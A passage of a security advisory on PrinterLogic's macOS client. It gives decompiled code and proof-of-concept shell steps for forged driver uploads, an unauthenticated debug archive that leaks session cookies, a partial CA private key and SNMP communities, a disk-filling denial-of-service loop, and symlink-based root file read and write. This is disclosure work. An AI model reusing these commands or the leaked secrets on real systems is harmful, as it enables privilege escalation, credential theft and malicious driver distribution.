SET_CONFIGURATION
333 
334                 def _call(self):
335                     pass
336 
337             arguments = get_configuration_parameters()
338             response = (_Task.generate_internal_request)(context, 
*arguments, **{'request_id': request_id})
339         else:
340             if command == 'QUERY_IP': # [4] command QUERY_IP
341                 response = 
query_ip.QueryIp.generate_internal_request(context, request_id=request_id)
342             else:
343                 if command == 'ACQUIRE_ACTIVE_OAUTH_TOKEN': # [5] command 
ACQUIRE_ACTIVE_OAUTH_TOKEN
344                     arguments = get_configuration_parameters()
345                     response = 
(acquire_active_oauth_token.AcquireActiveOauthToken.generate_internal_request)(
346  context, *arguments, **{'request_id': request_id})
347                 else:
348                     if command == 'GET_SECURITY_INFO': [6] command 
GET_SECURITY_INFO
349                         arguments = get_configuration_parameters()
350                         response = 
(get_security_info.GetSecurityInfo.generate_internal_request)(
351  context, *arguments, **{'request_id': request_id})
352                     else:
353                         if command == 'INSTALL_PRINTER': [7] command 
INSTALL_PRINTER
354                             protocol, hostname, abs_url, session_id, 
set_id, account_id = get_configuration_parameters()
355                             ptype = parameters['ptype']
356                             pid = parameters['pid']
357                             arguments = [protocol, hostname, abs_url, 
session_id, ptype, pid, set_id, account_id]
358                             response = 
(install_printer.InstallPrinter.generate_internal_request)(context, *arguments, 
**{'request_id': request_id})
359                         else:
360                             if command == 'UPLOAD_DRIVER': # [8] command 
UPLOAD_DRIVER
361                                 arguments = get_configuration_parameters()
362                                 response = 
(upload_driver.UploadDriver.generate_internal_request)(context, *arguments, 
**{'request_id': request_id})
363                             else:
364                                 if command == 'REPLACE_DRIVER': # [9] 
command REPLACE_DRIVER
365                                     protocol, hostname, abs_url, 
session_id, set_id, account_id = get_configuration_parameters()
366                                     driver_id = parameters['driverId']
367                                     model_title = parameters['modelTitle']
368                                     arguments = [protocol, hostname, 
abs_url, session_id, driver_id, model_title, set_id, account_id]
369                                     response = 
(replace_driver.ReplaceDriver.generate_internal_request)(context, *arguments, 
**{'request_id': request_id})
370                                 else:
371                                     if command in ('CREATE_PROFILE', 
'EDIT_PROFILE'): # [10] commands CREATE_PROFILE && EDIT_PROFILE
372                                         protocol, hostname, abs_url, 
session_id, set_id, account_id = get_configuration_parameters()
373                                         driver_id = parameters['driverId']
374                                         profile_id = 
parameters.get('profileId', '-1')
375                                         upload_id = 
parameters.get('uploadId', '-1')
376                                         arguments = [protocol, hostname, 
abs_url, session_id, driver_id, profile_id, upload_id, set_id, account_id]
377                                         response = 
(edit_profile.EditProfile.generate_internal_request)(context, *arguments, 
**{'request_id': request_id})
378                                     else:
379                                         if command == 
'GET_CONTEXT_MENU_ITEMS': # [11] command GET_CONTEXT_MENU_ITEMS
[/code]

The `UPLOAD_DRIVER` task is very interesting as it is basically an 
implementation of uploading files to a remote server.

Content of 
`./PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/task/upload_driver.pyc.py`:

[code:python]
 13 class UploadDriver(task.Task):
 14     request_name = 'UPLOAD_DRIVER'
 15     never_execute_for_all_users = True
 16     never_use_ui = False
 17 
 18     @property
 19     def priority(self):
 20         return 0.5
 21 
 22     @property
 23     def default_value(self):
 24         return False
 25 
 26     @property
 27     def description(self):
 28         return 'upload driver'
 29 
 30     def __init__(self, context, driver_id=None):
 31         super().__init__(context)
 32         self._driver_id = driver_id
 33 
 34     def _call(self):
 35         logging.debug('Getting driver paths and annotation from GUI')
 36         local_paths, annotation = 
interface_upload_driver.upload_driver(self.context)
 37         logging.debug('Selected in the GUI: {}, {}'.format(local_paths, 
annotation))
 38         if (local_paths, annotation) == (None, None):
 39             logging.debug('No driver to upload selected')
 40             return ('Driver selection cancelled.', False)
 41         else:
 42             logging.debug('Uploading drivers to the database')
 43             upload_id = server_upload_driver.upload_driver(local_paths,
 44               annotation,
 45               (self.context),
 46               replace_driver_id=(self._driver_id))
 47             if self._driver_id is not None:
 48                 upload_id = self._driver_id
 49             current_driver_data = 
driver.create_local_driver_data(local_paths)
 50             manufacturer = current_driver_data.manufacturer
 51             model = current_driver_data.model
 52             data = '{}\t{}\t{}\t{}\t{}'.format(upload_id, manufacturer, 
model, annotation, self.context.os_id)
 53             return (data, True)
 54 # okay decompiling upload_driver.pyc
[/code]

The code responsible for the upload process is located at 
`./PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/connection/server/upload_driver.py`:

[code:python]
 22 def upload_driver(local_paths: list, annotation: str, context: Context, 
replace_driver_id: Optional[int]=None) -> str:
 23     local_driver_data = driver.create_local_driver_data(local_paths)
 24     model = local_driver_data.model
 25     title = f"Uploading driver for {local_driver_data.manufacturer} 
printer: {model}"
 26     with progress.progress_or_dummy(title, PROGRESS_STEP_NAMES, context) as 
(progress_callback):
 27         with NamedTemporaryFile(mode='w+b') as (out_file):
 28             driver_package_class = driver.get_driver_package_class()
 29             with 
driver_package_class.get_upload_package_files(local_driver_data,
 30               progress_callback=progress_callback, progress_step=0) as 
(upload_package_files):
 31                 progress_callback.update_step(0, 1.0)

# [1] a tbz2 file will be created
 32                 _create_package(out_file, upload_package_files)
 33             progress_callback.update_step(1, 1.0)
 34 

# [2] Upload of the files, class defined in 
./PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/connection/server/common.py.
 35             class UploaderCallback(common.UploaderCallback):
 36                 driver_id = None
 37 
 38                 def on_size_calculated(self, total_size, total_fragments):
 39                     progress_callback.update_step(2, 1.0)
 40 
 41                 def on_upload_id_obtained(self, upload_id):
 42                     progress_callback.update_step(3, 1.0)
 43 
 44                 def on_fragment_uploaded(self, fragment, total_fragments):
 45                     progress_callback.update_step(4, fragment / 
total_fragments)
 46 
 47                 def on_complete(self, upload_id):
# [3] Metadatas sent using _finalize_upload

 48                     self.driver_id = _finalize_upload(local_driver_data,
 49                       upload_id, annotation, context, 
replace_driver_id=replace_driver_id)
 50                     progress_callback.update_step(5, 1.0)
 51 
 52             uploader_callback = UploaderCallback()
 53             uploader = common.Uploader((out_file.name), model, context, 
uploader_callback=uploader_callback)
 54             uploader.upload()
 55             return uploader_callback.driver_id
[...]
 85 def _finalize_upload(local_driver_data: driver.LocalDriverData, upload_id: 
int, annotation: str, context: Context, replace_driver_id: Optional[int]=None) 
-> str:
 86     params = {'confirmupload':1,
 87      'uploadid':upload_id,
 88      'packagetype':context.os_driver_package_type,
 89      'oslist':context.os_id,
 90      'printprocess':'',
 91      'driverdate':local_driver_data.date.strftime('%m/%d/%Y'),
 92      'driverversion':local_driver_data.version,
 93      'make':local_driver_data.manufacturer,
 94      'modelname':local_driver_data.model,
 95      'annotation':annotation,
 96      'inffile':local_driver_data.local_paths[0]}
 97     if replace_driver_id is not None:
 98         params['existing_driver_id'] = replace_driver_id
 99     try:
100         response = common.request_path('GET', 'client/gateway.php', 
context, params=params, timeout=600)
101         result = ElementTree.fromstring(response.text)
102         if result.attrib['code'] != '1':
103             description = result.find('./desc').text
104             raise common.ServerError(description, description)
105         return result.find('./desc').text
106     except exceptions.Timeout:
107         message = 'When trying to finalize the driver upload, the server 
connection timed out and was closed.  However, the driver will probably be 
available after the database operation is completed.'
108         raise common.ServerError(message)
[/code]


Trying to upload a new driver - the HTTPS request was blocked using Burp Suite 
Pro, so it was not sent to the remote server on [redacted].printercloud10.com 
(the SaaS version was out of scope during the security assessment of the macOS 
version).

By forging a custom request, it is possible to force the upload of a new driver 
using the API.

Creation of a new request inside `/opt/PrinterInstallerClient/tmp/requests/` to 
upload a new driver:

    user@laptop requests % cat /tmp/test.file
    UPLOAD_DRIVER
    aHR0cHM6
    W3JlZGFjdGVkXS5wcmludGVyY2xvdWQxMC5jb20=
    Lw==
    
UEhQU0VTU0lEPWM3Mjk2OGQ2ZTY4ZDc4MWE4MDA1Mjg3NTgwMjliMjMyO1BIUFNFU1NJRD1jNzI5NjhkNmU2OGQ3ODFhODAwNTI4NzU4MDI5YjIzMjtYU1JGLVRPS0VOPWV5SnBkaUk2SWx0eVpXUmhZM1JsWkYwaUxDSjJZV3gxWlNJNklsdHlaV1JoWTNSbFpGMGlMQ0p0WVdNaU9pSmJjbVZrWVdOMFpXUmRJbjA9O2xhcmF2ZWxfc2Vzc2lvbj1leUpwZGlJNklsdHlaV1JoWTNSbFpGMGlMQ0oyWVd4MVpTSTZJbHR5WldSaFkzUmxaRjBpTENKdFlXTWlPaUpiY21Wa1lXTjBaV1JkSW4wPTtQSFBTRVNTSUQ9YzcyOTY4ZDZlNjhkNzgxYTgwMDUyODc1ODAyOWIyMzI7WFNSRi1UT0tFTj1leUpwZGlJNklsdHlaV1JoWTNSbFpGMGlMQ0oyWVd4MVpTSTZJbHR5WldSaFkzUmxaRjBpTENKdFlXTWlPaUpiY21Wa1lXTjBaV1JkSW4wPTtsYXJhdmVsX3Nlc3Npb249ZXlKcGRpSTZJbHR5WldSaFkzUmxaRjBpTENKMllXeDFaU0k2SWx0eVpXUmhZM1JsWkYwaUxDSnRZV01pT2lKYmNtVmtZV04wWldSZEluMD07UEhQU0VTU0lEPWM3Mjk2OGQ2ZTY4ZDc4MWE4MDA1Mjg3NTgwMjliMjMyO1hTUkYtVE9LRU49ZXlKcGRpSTZJbHR5WldSaFkzUmxaRjBpTENKMllXeDFaU0k2SWx0eVpXUmhZM1JsWkYwaUxDSnRZV01pT2lKYmNtVmtZV04wWldSZEluMD07bGFyYXZlbF9zZXNzaW9uPWV5SnBkaUk2SWx0eVpXUmhZM1JsWkYwaUxDSjJZV3gxWlNJNklsdHlaV1JoWTNSbFpGMGlMQ0p0WVdNaU9pSmJjbVZrWVdOMFpXUmRJbjA9Owo=
    cHJpbnRlcg==
    cDk3Mg==
    
    LTE=
    user@laptop requests % cp /tmp/test.file 
/opt/PrinterInstallerClient/tmp/requests/26TJdkfj0923lkaFlkSDSDn-202112091901313
    user@laptop requests %

After this file is created inside `/opt/PrinterInstallerClient/tmp/requests/`, 
a new task will be created:

    2021-12-10 18:37:55,492 (INFO): Creating task:
    Command: 'UPLOAD_DRIVER'
    Arguments: 
https:,[redacted].printercloud10.com,/,PHPSESSID=c72968d6e68d781a800528758029b232;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;,printer,p972,,-1
    User ID: 501
    Group ID: 20
    Use UI: True
    Origin: 'INTERFACE'
    2021-12-10 18:37:55,495 (DEBUG): Checking if home URL should be changed to: 
https://[redacted].printercloud10.com/
    2021-12-10 18:37:55,498 (DEBUG): Getting clientsettings.dat from server (or 
using cache at /opt/PrinterInstallerClient/tmp/data/clientsettings.dat, if 
up-to-date)
    2021-12-10 18:37:55,532 (DEBUG): Attempting to open: 
https://[redacted].printercloud10.com/client/gateway.php?redirect=1&ips=192.168.100.28%2C192.168.1.100%2C100.64.0.1&file=/clientsettings.dat&PPPSETID=printer&urlc=&idc=p972&if_no_login=

A popup will then appear on the laptop, asking to choose a driver to add to the 
repository:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

After choosing a driver, the upload process starts:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

During the `obtaining upload ID`, we can see the request is sent to the remote 
server:

Using Burp, the request is intercepted and blocked. However, the investigation 
was pot pursued thereafter because testing the remote server is not allowed. No 
malicious requests were sent to the remote server.

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

If the request was not dropped, the process would likely have continued and a 
new driver would have been uploaded on the website.

After analyzing the bzip2 temporary archive that was generated in `/tmp` and 
supposed to be sent to the remote server, it was found out that this archive 
contains multiple programs that will then be provided to other users:

    1/Contents/Applications/HP Alerts.app/Contents/MacOS/HP Alerts:             
          Mach-O 64-bit x86_64 executable, 
flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
    1/Contents/Applications/HP Email Alerts.app/Contents/MacOS/HP Email Alerts: 
          Mach-O 64-bit x86_64 executable, 
flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
    1/Contents/Applications/HP Event Status.app/Contents/MacOS/HP Event Status: 
          Mach-O 64-bit x86_64 executable, 
flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
    
1/Contents/Applications/LegacyScanEventHandler.app/Contents/MacOS/LegacyScanEventHandler:
 Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
    
1/Contents/Frameworks/HSDCommonLib.framework/Versions/A/Runtime/hppaauthtool:   
      Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
    1/Contents/MacOS/HP Utility:                                                
          Mach-O 64-bit x86_64 executable, 
flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
    1/Contents/Resources/launcher:                                              
          Mach-O 64-bit x86_64 executable, 
flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
    3/Contents/MacOS/Inkjet2:                                                   
          Mach-O 64-bit x86_64 executable, 
flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|BINDS_TO_WEAK>
    4:                                                                          
          Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL>
    
5/HPDeviceModel.framework/Versions/4.0/Frameworks/Core.framework/Versions/4.0/XPCServices/com.hp.devicemodel.TransportProxy.xpc/Contents/MacOS/com.hp.devicemodel.TransportProxy:
  Mach-O universal binary with 2 architectures: [i386:Mach-O i386 executable, 
flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE|NO_HEAP_EXECUTION>] [x86_64:Mach-O 64-bit 
x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>]
    
5/HPDeviceModel.framework/Versions/4.0/Runtime/hpdot4d.app/Contents/MacOS/hpdot4d:
    Mach-O universal binary with 2 architectures: [i386:Mach-O i386 executable, 
flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE|NO_HEAP_EXECUTION>] [x86_64:Mach-O 64-bit 
x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>]
    5/HPDeviceModel.framework/Versions/4.0/Tools/dmfdsclient:                   
          Mach-O universal binary with 2 architectures: [i386:Mach-O i386 
executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE|NO_HEAP_EXECUTION>] 
[x86_64:Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>]
    5/HPDeviceMonitoring.framework/Versions/1.0/Helpers/HP Device Monitor 
Manager.app/Contents/Library/LoginItems/HP Device Monitor.app/Contents/MacOS/HP 
Device Monitor:  Mach-O 64-bit x86_64 executable, 
flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
    5/HPDeviceMonitoring.framework/Versions/1.0/Helpers/HP Device Monitor 
Manager.app/Contents/MacOS/HP Device Monitor Manager:                           
                                                           Mach-O 64-bit x86_64 
executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
    5/HPDM.framework/Versions/5.0/Runtime/hpdot4d.app/Contents/MacOS/hpdot4d:   
          Mach-O 64-bit x86_64 executable, 
flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
    
5/HPDM.framework/Versions/5.0/XPCServices/com.hp.dm.5.TransportProxy.xpc/Contents/MacOS/com.hp.dm.5.TransportProxy:
                                                                                
              Mach-O 64-bit x86_64 executable, 
flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
    6/Contents/MacOS/commandtohp:                                               
          Mach-O 64-bit x86_64 executable, 
flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
    7/Contents/MacOS/pdftopdf:                                                  
          Mach-O 64-bit x86_64 executable, 
flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|BINDS_TO_WEAK|PIE>  

An attacker with admin privileges can modify this archive to insert malicious 
programs.

It is possible to update/change the drivers that will be provided to other 
users.       

In the security assessment performed in 2022, it was proven that it was 
possible to upload malicious drivers to the VA/SaaS versions without admin 
privileges.



## Details - Insecure generation of debug archive

The file 
`/opt/PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/task/bundle_debug.pyc.py`
 contains instructions to generate a zip archive when the task `BUNDLE_DEBUG` 
is created. Using the API without authentication, it is possible to generate a 
debug archive as root. The resulting archive will be world-readable and 
contains secrets.

Content of 
`/opt/PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/task/bundle_debug.pyc.py`:

[code:python]
 12 class BundleDebug(task.Task):
 13     request_name = 'BUNDLE_DEBUG'
 14     never_execute_for_all_users = True 
 15     never_use_ui = True 
[...]
 44     def __call(self):
 45         zip_name = 
datetime.datetime.now().strftime('PrinterLogic-Debug-%Y%m%d%H%M%S.zip')
 46         zip_path = os.path.join(self._output_directory, zip_name)
 47         with zipfile.ZipFile(zip_path, 'w', 
compression=(zipfile.ZIP_BZIP2)):
[/code]

Creating a `BUNDLE_DEBUG` task:

    user@laptop ~ % echo -n 'BUNDLE_DEBUG'  > 
/opt/PrinterInstallerClient/tmp/requests/0gAds9DkaG9934-20211209191990

A task will be created:

    2021-12-10 20:17:10,158 (DEBUG): Processing request at 
'/opt/PrinterInstallerClient/tmp/requests/0gAds9DkaG9934-20211209191990'
    2021-12-10 20:17:10,163 (INFO): Received request: BUNDLE_DEBUG
    2021-12-10 20:17:10,166 (INFO): Creating task:
    Command: 'BUNDLE_DEBUG'
    Arguments: 
    User ID: 501
    Group ID: 20
    Use UI: False
    Origin: 'INTERNAL'

And a resulting file will be created in `/opt/PrinterInstallerClient/bin`:

    root@laptop bin # ls -la /opt/PrinterInstallerClient/bin
    total 1832
    drwxr-xr-x  20 root  wheel     640 Dec 10 20:17 .
    drwxr-xr-x  13 root  wheel     416 Dec  9 20:20 ..
    -r--r--r--   1 root  wheel  814802 Dec 10 20:17 
PrinterLogic-Debug-20211210201710.zip
    -r-xr-x---   1 root  wheel     215 Mar  5  2021 ad_override_file.sh
    -r-xr-x---   1 root  wheel     269 Mar  5  2021 bundle_debug.sh
    -r-xr-x---   1 root  wheel     211 Mar  5  2021 configure_proxy.sh
    -r-xr-x---   1 root  wheel     165 Mar  5  2021 disable_home_url_security.sh
    -r-xr-x---   1 root  wheel     233 Mar  5  2021 
disable_ipp_queue_interpretation.sh
    -r-xr-x---   1 root  wheel     209 Mar  5  2021 disable_updates.sh
    -r-xr-x---   1 root  wheel     243 Mar  5  2021 ignore_certificate_errors.sh
    -r-xr-x---   1 root  wheel    3343 Mar  5  2021 install_fips_openssl.sh
    -r-xr-x---   1 root  wheel     214 Mar  5  2021 kerberos_timeout.sh
    -r-xr-x---   1 root  wheel     205 Mar  5  2021 lock_home_url.sh
    -r-xr-x---   1 root  wheel     188 Mar  5  2021 refresh.sh
    -r-xr-x---   1 root  wheel     725 Mar  5  2021 restart_service.sh
    -r-xr-x---   1 root  wheel     197 Mar  5  2021 set_home_url.sh
    -r-xr-x---   1 root  wheel     332 Mar  5  2021 toggle_debug_mode.sh
    -r-xr-x---   1 root  wheel    1559 Mar  5  2021 uninstall.sh
    -r-xr-x---   1 root  wheel     212 Mar  5  2021 use_authorization_code.sh
    -r-xr-x---   1 root  wheel     210 Mar  5  2021 user_from_file.sh
    root@laptop bin #

This archive is world-readable and contains some files.

Content of `PrinterLogic-Debug-20211210201710.zip`:

    kali% 7z l PrinterLogic-Debug-20211210201710.zip 
    
    7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
    p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 
CPUs Intel(R) Core(TM) i3-5005U CPU @ 2.00GHz (306D4),ASM,AES-NI)
    
    Scanning the drive for archives:
    1 file, 814802 bytes (796 KiB)
    
    Listing archive: PrinterLogic-Debug-20211210201710.zip
    
    --
    Path = PrinterLogic-Debug-20211210201710.zip
    Type = zip
    Physical Size = 814802
    
       Date      Time    Attr         Size   Compressed  Name
    ------------------- ----- ------------ ------------  
------------------------
    2021-12-10 20:17:10 .....          269          261  basic_info.txt
    2021-12-10 19:49:56 .....         2820         1739  configuration.json
    2021-12-10 19:15:16 D....            0            0  data
    2021-12-09 18:39:28 .....         1125          617  
data/printer_502_m101664.xml
    2021-12-07 18:34:50 .....         1074          611  
data/printer_488_m101664.xml
    2021-12-07 18:43:36 .....         1063          598  
data/printer_973_m101664.xml
    2021-12-09 18:40:34 .....         1130          620  
data/printer_501_m101664.xml
    2021-12-09 18:38:40 .....         1096          609  
data/printer_499_m101664.xml
    2021-12-07 21:38:18 .....         1063          597  
data/printer_972_m101664.xml
    2021-12-09 16:27:12 .....        15977         6254  data/clientsettings.dat
    2021-12-09 18:39:10 .....         1074          596  
data/printer_503_m101664.xml
    2021-12-09 18:32:38 .....         1102          605  
data/printer_500_m101664.xml
    2021-12-07 16:53:40 D....            0            0  commands
    2021-12-09 19:28:40 D....            0            0  log
    2021-12-10 19:49:56 .....           31           70  log/HOMEURL
    2021-12-10 17:32:40 .....            2           39  log/service_last_exit
    2021-12-10 20:17:10 .....      5261882       308735  log/service_info.log
    2021-12-10 20:14:22 .....       114212         4151  
log/launchd_service_error.log
    2021-12-10 20:17:10 .....      6126626       388599  log/service.log
    2021-12-10 19:57:38 .....        36208         2789  log/interface.log
    2021-12-10 17:32:40 .....        10605         1464  log/launchd_service.log
    2021-12-10 20:15:28 .....       241867        80421  log/cpu.prof
    2021-12-10 17:35:02 .....       161358         7113  
log/PrinterLogicIdpAuthentication.log
    2021-12-07 16:53:40 .....         2068          697  log/install.log
    2021-12-09 18:42:44 D....            0            0  printers
    2021-12-10 20:12:26 .....          754          428  
printers/DIRECT_IP_426.json
    2021-12-10 20:12:26 .....          722          422  
printers/DIRECT_IP_689.json
    2021-12-10 20:12:26 .....          758          425  
printers/DIRECT_IP_427.json
    2021-12-10 20:12:26 .....          738          429  
printers/DIRECT_IP_413.json
    2021-12-10 20:17:24 .....          735          362  checkin_info.xml
    2021-12-10 20:17:24 .....         3219          749  all_printers.txt
    2021-12-07 18:35:52 D....            0            0  cups
    2021-12-09 18:42:42 .....         1852          320  cups/access_log
    2021-12-10 20:17:18 .....          247          210  job_record.json
    2021-12-10 20:17:24 .....            0           14  
missing__pull_print_release_record.json
    2021-12-10 20:17:24 .....            0           14  missing__service_client
    ------------------- ----- ------------ ------------  
------------------------
    2021-12-10 20:17:24           11991677       810558  31 files, 5 folders
    kali%

The `configuration.json` file contains:

- - Valid PHP session:

    kali% cat configuration.json 
    {
      "home_url": "https://[redacted].printercloud10.com/";,
      "home_url_locked": null,
      "session_id": 
"PHPSESSID=c72968d6e68d781a800528758029b232;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;",

- - The `data/clientsettings.dat` file containing the private key of the 
previous Certificate Authority (CVE-2025-27685 - Hardcoded Private key for the 
PrinterLogic CA and Hardcoded password) and SNMP keys:

    kali% cat data/clientsettings.dat | xmllint --format -
    [...]
        <setting name="caPrivateKey">-----BEGIN PRIVATE KEY-----
    MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQCs4uTY7wGVIs14
    OPZnEx33WwXg3b5aAEEw6uTiwgutiZojUoAJ7hytkEK7KDOB1TL7/IphKmtJdkix
    LgZYiLtRjzejOeQNPNbvROg/TtBADTalWp6d7j3Sr8a6yz0lwbMYgdpmu1M9kxAg
    c10PX2tbjcnGfP2LQ5eXofHkkyvGtCaEo9RSs0DOLsIrK9Y6yctz+tKhYca0wPjI
    qp0IQBfHaCnskmqrWMlUU2PW9b3cIY96qCI1qvlIYBJwm49tC6Wq84BlkNHmZ/Fz
    7i56aAA6F9O46iODUrJvabwDs7N6MSuzoCatC4kciig85pr6jengpWbp3E6Z7ybo
    h+fX8seGmYu0QN1/ipAJ5PZ5Dy9RoG7NA66h/EYDWxunL0Oo3w6sZi3LLyLl5Cvt
    [...]
        <setting name="snmp_12_community">public</setting>
        <setting name="snmp_12_community_private">private</setting>
    [...]
        <setting name="snmp_3_authentication_key">[redacted]</setting>
    [...]
        <setting name="snmp_3_privacy_key">[redacted]</setting>
    [...]

- - XML containing SNMP communities of the printers:

    kali% xmllint --format data/printer_503_m101664.xml
    [...]
        <port type="TCP">
          <address host="[redacted]" portnumber="9100"/>
          <protocol type="0"/>
          <snmp>
            <community>[redacted]</community>
    [...]
        <port type="TCP">
          <address host="[redacted]" portnumber="9100"/>
          <protocol type="0"/>
          <snmp>
            <community>public</community>
            <deviceindex>1</deviceindex>
          </snmp>
    [...]
    kali%


Any local user can retrieve the configuration of the software, including PHP 
sessions and SNMP communities of printers.

Any local user can DoS the laptop by creating files using `echo -n 
'BUNDLE_DEBUG'  > /opt/PrinterInstallerClient/tmp/requests/$RANDOM-$RANDOM` and 
filing the hard disk as root.



## Details - Arbitrary File Read as root

It is possible to use the APIs to read the first line of any file in the 
laptop, even if the permissions don't allow reading this file.

`/Users/pwnme-admin/secret/not-readable.file` is a file with `600` permissions 
and the directory `/Users/pwnme-admin/secret/` is using `700` permissions - 
these files are not readable by normal users:

Content of `/Users/pwnme-admin/secret/`:

    sh-3.2# ls -la /Users/pwnme-admin/secret/
    total 8
    drwx------   3 pwnme-admin  1000   96 Dec  9 19:43 .
    drwxr-xr-x  13 pwnme-admin  1000  416 Dec 10 20:57 ..
    -rw-------   1 pwnme-admin  1000   13 Dec  9 19:43 not-readable.file
    sh-3.2#

As user, it is impossible to read this file:

    user@laptop ~ % ls -la /Users/pwnme-admin/secret/not-readable.file
    ls: /Users/pwnme-admin/secret/not-readable.file: Permission denied
    user@laptop ~ % cat /Users/pwnme-admin/secret/not-readable.file
    cat: /Users/pwnme-admin/secret/not-readable.file: Permission denied
    user@laptop ~ %

Creating a new task using a symbolic link will allow getting the content of the 
first line of the file, as this file is opened by PrinterInstallerClientService 
running as root:

    user@laptop ~ % ln -s /Users/pwnme-admin/secret/not-readable.file 
/opt/PrinterInstallerClient/tmp/requests/26TJdkfj0923lkaFlkSDSDn-202112091901313

And the first line of this file will be saved in the logs. The logs can be read 
by any user:

    2021-12-10 21:07:42,743 (INFO): Received request: not-readable
    2021-12-10 21:07:42,755 (INFO): Creating task:
    Command: 'not-readable'
    Arguments: 
    User ID: 1001
    Group ID: 1000
    Use UI: True
    Origin: 'INTERFACE'
    2021-12-10 21:07:42,762 (ERROR): No matching process task for received 
request data: not-readable
    2021-12-10 21:07:42,764 (INFO): Done with request: not-readable

We can confirm as root that the content of the file is `not-readable`.

Content of `/Users/pwnme-admin/secret/not-readable.file`:

    root@laptop pwnme-admin # cat /Users/pwnme-admin/secret/not-readable.file
    not-readable
    root@laptop pwnme-admin #

Any local user can retrieve the first line of any file in the system.



## Details - Arbitrary File Write as root

Using the APIs and symbolic links, it is possible to write into files as root.

We will create a file owned by root with `600` as permissions. The file can be 
empty or can contain data. For the PoC, the file will contain `yo`:

    root@laptop /tmp # touch /tmp/test
    root@laptop /tmp # chmod 600 /tmp/test
    root@laptop /tmp # echo yo >> /tmp/test
    root@laptop /tmp # ls -la /tmp/test    
    -rw-------  1 root  wheel  3 Dec 10 21:55 /tmp/test
    root@laptop /tmp # cat /tmp/test
    yo
    root@laptop /tmp #

By default, when a task is created and needs to write output, the filename used 
in the request will be reused in the 
